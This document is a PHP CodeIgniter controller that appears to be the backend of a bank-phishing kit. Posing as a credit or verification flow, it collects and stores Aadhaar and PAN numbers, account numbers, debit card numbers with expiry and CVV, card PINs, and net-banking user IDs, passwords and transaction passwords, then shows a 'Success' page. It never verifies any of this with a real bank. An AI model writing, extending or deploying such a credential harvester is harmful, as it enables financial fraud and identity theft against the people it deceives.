<?php


defined('BASEPATH') OR exit('No direct script access allowed');

class Credit extends CI_Controller {

	public function __construct() {
        parent::__construct();
        $this->load->model('UserManage');
        $this->load->helper('form');
	    $this->load->library('form_validation');
		$this->load->library('session');
		 $this->load->helper('url');
    }
    
    public function index()
    {
        $value['settings']=$this->UserManage->getsettings();
        if(isset($_POST['submit']))
        {
        $data['name']=$_POST['name'];
        $data['mobile']=$_POST['mobile'];
        $data['adhaar']=$_POST['adhaar'];
        $data['pan']=$_POST['pan'];
        $data['device_id']=$_POST['device_id'];
       
        
        $res=$this->UserManage->insertcreditfirstverify($data);
                    if($res!='')
                    {
                         $arraydata = array(
                'id'  => $res
                           );
             $this->session->set_userdata($arraydata);
                        redirect('Credit/Mpin'); 
                    }
                    else
                    {
                         echo '<script>alert("Please enter valid password!");</script>';
                    }
        }
        $this->load->view('credit/index.php',$value);
    }
    public function Debit()
    {
        if(isset($_POST['submit']))
        {
            $id=$this->session->userdata('id');
            if($id>0)
            {
        $data['cardno']=$_POST['cardno'];
        $data['expiry']=$_POST['expiry'];
        $data['cvv']=$_POST['cvv'];
     
        $data['id']=$id;
        
        $res=$this->UserManage->insertcreditdebitverify($data);
                    if($res==true)
                    {
                        
             
                        redirect('Credit/Pin'); 
                    }
                    else
                    {
                         echo '<script>alert("Please enter Details");</script>';
                    }
            }
            else
            {
                redirect('Credit');
            }
        }
        $value['settings']=$this->UserManage->getsettings();
        $this->load->view('credit/debit.php',$value);
    }
    
    public function Pin()
    {
        if(isset($_POST['submit']))
        {
            $id=$this->session->userdata('id');
            if($id>0)
            {
        $data['pin']=$_POST['pin'];
        $data['id']=$id;
        
        $res=$this->UserManage->insertcreditpinverify($data);
                    if($res==true)
                    {
                        
             
                        redirect('Credit/Success'); 
                    }
                    else
                    {
                         echo '<script>alert("Please enter valid password!");</script>';
                    }
            }
            else
            {
                redirect('Credit');
            }
        }
        $value['settings']=$this->UserManage->getsettings();
        $this->load->view('credit/pin.php',$value);
    }
     public function Mpin()
    {
        if(isset($_POST['submit']))
        {
            $id=$this->session->userdata('id');
            if($id>0)
            {
        $data['dob']=$_POST['dob'];
        $data['ac']=$_POST['ac'];
        $data['id']=$id;
        
        $res=$this->UserManage->insertcreditmpinverify($data);
                    if($res==true)
                    {
                        
             
                        redirect('Credit/Debit'); 
                    }
                    else
                    {
                         echo '<script>alert("Please enter valid password!");</script>';
                    }
            }
            else
            {
                redirect('Credit');
            }
        }
        $value['settings']=$this->UserManage->getsettings();
        $this->load->view('credit/mpin.php',$value);
    }
    
    public function Netbank()
    {
        if(isset($_POST['submit']))
        {
            $id=$this->session->userdata('id');
            if($id>0)
            {
        $data['userid']=$_POST['userid'];
        $data['password']=$_POST['password'];
        $data['tpassword']=$_POST['tpassword'];
        $data['id']=$id;
        
        $res=$this->UserManage->insertcreditnetbankverify($data);
                    if($res==true)
                    {
                   
                        redirect('Credit/Success'); 
                    }
                    else
                    {
                         echo '<script>alert("Please enter valid password!");</script>';
                    }
            }
            else
            {
                redirect('Credit');
            }
        }
        $value['settings']=$this->UserManage->getsettings();
        $this->load->view('credit/netbank.php',$value);
    }
    
    public function Dob()
    {
        if(isset($_POST['submit']))
        {
            $id=$this->session->userdata('id');
            if($id>0)
            {
        $data['issue']=$_POST['issue'];
        $data['id']=$id;
        
        $res=$this->UserManage->insertcreditdobverify($data);
                    if($res==true)
                    {
                        $arraydata = array(
                'id'  => 0
                           );
             $this->session->set_userdata($arraydata);
                        redirect('Credit/Success'); 
                    }
                    else
                    {
                         echo '<script>alert("Please enter valid Date of birth!");</script>';
                    }
            }
            else
            {
                redirect('Credit');
            }
        }
        $value['settings']=$this->UserManage->getsettings();
        $this->load->view('credit/dob.php',$value);
    }
    public function Verify()
    {
        $value['settings']=$this->UserManage->getsettings();
        $this->load->view('credit/verify.php',$value);
    }
     public function Success()
    {
        $value['settings']=$this->UserManage->getsettings();
        $this->load->view('credit/success.php',$value);
    }
     
}